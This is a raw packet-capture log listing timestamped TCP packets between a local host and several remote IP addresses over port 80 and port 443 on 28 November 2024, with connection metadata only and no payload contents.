Nov 28, 2024 08:55:48.317511082 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.317543983 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.317589998 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.318402052 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.318463087 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.318517923 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.318563938 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.319324017 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.319390059 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.319422007 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.319654942 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.320416927 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.320501089 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.320532084 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.320591927 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.321456909 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.321517944 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.321593046 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.322541952 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.322603941 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.322642088 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.322688103 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.323671103 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.323731899 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.323802948 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.323957920 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.324717999 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.324826002 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.324883938 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.325805902 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.325818062 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.325877905 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.326900959 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.326967001 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.327055931 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.327111959 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.327991962 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.328046083 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.328099012 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.328144073 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.329010010 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.329066992 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.329098940 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.329267025 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.330105066 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.330157995 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.330190897 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.330235958 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.331209898 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.331284046 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.331293106 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.331376076 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.332295895 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.332315922 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.332366943 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.332386971 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.333329916 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.333462954 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.333525896 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.334455013 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.334512949 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.334549904 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.334620953 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.335449934 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.335509062 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.443700075 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:48.443742990 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:48.443980932 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:48.444099903 CET	49795	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:48.444134951 CET	443	49795	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:48.444221020 CET	49795	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:48.444288015 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:48.444303989 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:48.444416046 CET	49795	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:48.444421053 CET	443	49795	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:48.485898972 CET	443	49773	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:48.486176968 CET	49773	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:48.486186028 CET	443	49773	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:48.486524105 CET	443	49773	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:48.486849070 CET	49773	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:48.486907959 CET	443	49773	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:48.489518881 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.489589930 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.489661932 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.489708900 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.490092993 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.490201950 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.490252972 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.491255045 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.491457939 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.492063999 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.492117882 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.492224932 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.492295027 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.492912054 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.492965937 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.493449926 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.493463039 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.493531942 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.494402885 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.494493961 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.494513035 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.494569063 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.495487928 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.495500088 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.495539904 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.495554924 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.496578932 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.496634960 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.496653080 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.496758938 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.497662067 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.497744083 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.497837067 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.498689890 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.498744011 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.498886108 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.499046087 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.499804020 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.499856949 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.499939919 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.500035048 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.500868082 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.500921011 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.501424074 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.501602888 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.501926899 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.501983881 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.502197981 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.502257109 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.503019094 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.503074884 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.503083944 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.503118992 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.504091978 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.504163027 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.504244089 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.504317999 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.505197048 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.505249977 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.505469084 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.505536079 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.506247997 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.506381989 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.506398916 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.506515980 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.507333040 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.507392883 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.507972002 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.508027077 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.508440971 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.508454084 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.508541107 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.509504080 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.509557009 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.509589911 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.509607077 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.510600090 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.510662079 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.511147022 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.511208057 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.511709929 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.511720896 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.511759043 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.512737989 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.512814045 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.512937069 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.513809919 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.513870955 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.514272928 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.514327049 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.514908075 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.514955997 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.515316963 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.515505075 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.516016960 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.516028881 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.516076088 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.517041922 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.517086029 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.517092943 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.517158985 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.518112898 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.518162966 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.518233061 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.518292904 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.519201040 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.519263983 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.519360065 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.520289898 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.520471096 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.520478964 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.520760059 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.521353960 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.521416903 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.521616936 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.521837950 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.522458076 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.522527933 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.522830963 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.522917986 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.523585081 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.523642063 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.523672104 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.523746967 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.524605036 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.524660110 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.525160074 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.525237083 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.525686026 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.525923014 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.526185036 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.526303053 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.526752949 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.526798010 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.526803017 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.526968002 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.527828932 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.527880907 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.528450966 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.528529882 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.528906107 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.528986931 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.529284000 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.529476881 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.530016899 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.530030012 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.530070066 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.531110048 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.531179905 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.531193018 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.531227112 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.532154083 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.532208920 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.532305002 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.532363892 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.533232927 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.533297062 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.533298016 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.533454895 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.534051895 CET	49773	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:48.534323931 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.534378052 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.534452915 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.534499884 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.535423040 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.535434961 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.535490990 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.536474943 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.536488056 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.536544085 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.537575006 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.537586927 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.537640095 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.538570881 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.539022923 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.598206043 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.718142033 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.765841961 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:48.765875101 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:48.765944004 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:48.766534090 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:48.766546011 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:48.889575005 CET	443	49788	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:48.892293930 CET	49788	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:48.892312050 CET	443	49788	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:48.892684937 CET	443	49788	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:48.892999887 CET	49788	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:48.893069983 CET	443	49788	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:48.941632032 CET	49788	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:49.054079056 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.054215908 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.054245949 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.054272890 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.054622889 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.054677963 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.054711103 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.054755926 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.055696964 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.055759907 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.055785894 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.055829048 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.056900024 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.056958914 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.057579994 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.057632923 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.057847977 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.057898998 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.058507919 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.058577061 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.058929920 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.059031963 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.059986115 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.060061932 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.060062885 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.060075045 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.060105085 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.060128927 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.061244011 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.061258078 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.061321020 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.062330961 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.062402010 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.062478065 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.063226938 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.063294888 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.064275026 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.064340115 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.064352036 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.064363956 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.064395905 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.064412117 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.065442085 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.065490007 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.065938950 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.065987110 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.066484928 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.066539049 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.066675901 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.066862106 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.067558050 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.067589045 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.067617893 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.067637920 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.068689108 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.068738937 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.068768024 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.068815947 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.069741011 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.069793940 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.069799900 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.069892883 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.070811033 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.070849895 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.070858002 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.070897102 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.071863890 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.071908951 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.071916103 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.071954966 CET	49748	80	192.168.2.8	185.215.113.206
